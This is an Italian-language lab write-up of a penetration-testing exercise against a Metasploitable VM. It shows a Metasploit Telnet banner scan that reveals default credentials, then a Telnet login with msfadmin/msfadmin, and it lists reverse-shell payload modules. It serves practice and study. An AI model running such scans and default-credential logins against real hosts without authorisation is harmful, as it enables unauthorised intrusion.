

# Exploiting Telnet

3-7-2023

Dopo aver individuato la vulnerabilità e trovato il giusto exploit e payload, configuro il tool in modo da connettersi alla macchina vittima per poi eseguirlo e ottenere le credenziali di accesso al servizio Telnet che gira sulla macchina attaccata.

```
35 auxiliary/scanner/telnet/telnet_version normal No Telnet Service Banner Detection
36 auxiliary/scanner/telnet/telnet_encrypt_overflow normal No Telnet Service Encryption Key ID Overflow Detection
37 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
38 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
39 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
41 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05 great Yes VyOS restricted-shell Escape and Privilege Escalation
42 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction

Interact with a module by name or index. For example info 42, use 42 or use post/windows/gather/credentials/mremote

msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > info

Name: Telnet Service Banner Detection
Module: auxiliary/scanner/telnet/telnet_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Check supported:
No

Basic options:


| Name     | Current Setting | Required | Description                                                                                  |
|----------|-----------------|----------|----------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                      |
| RHOSTS   |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT    | 23              | yes      | The target port (TCP)                                                                        |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                          |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                 |
| USERNAME |                 | no       | The username to authenticate as                                                              |



Description:
Detect telnet services

View the full module info with the info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar 7 07:53:19 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Per conferma accedo al servizio dal terminale di Kali.

```
(kali@kali)~$ telnet 192.168.1.40
Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^]'.
msfadmin

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar 7 07:53:19 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```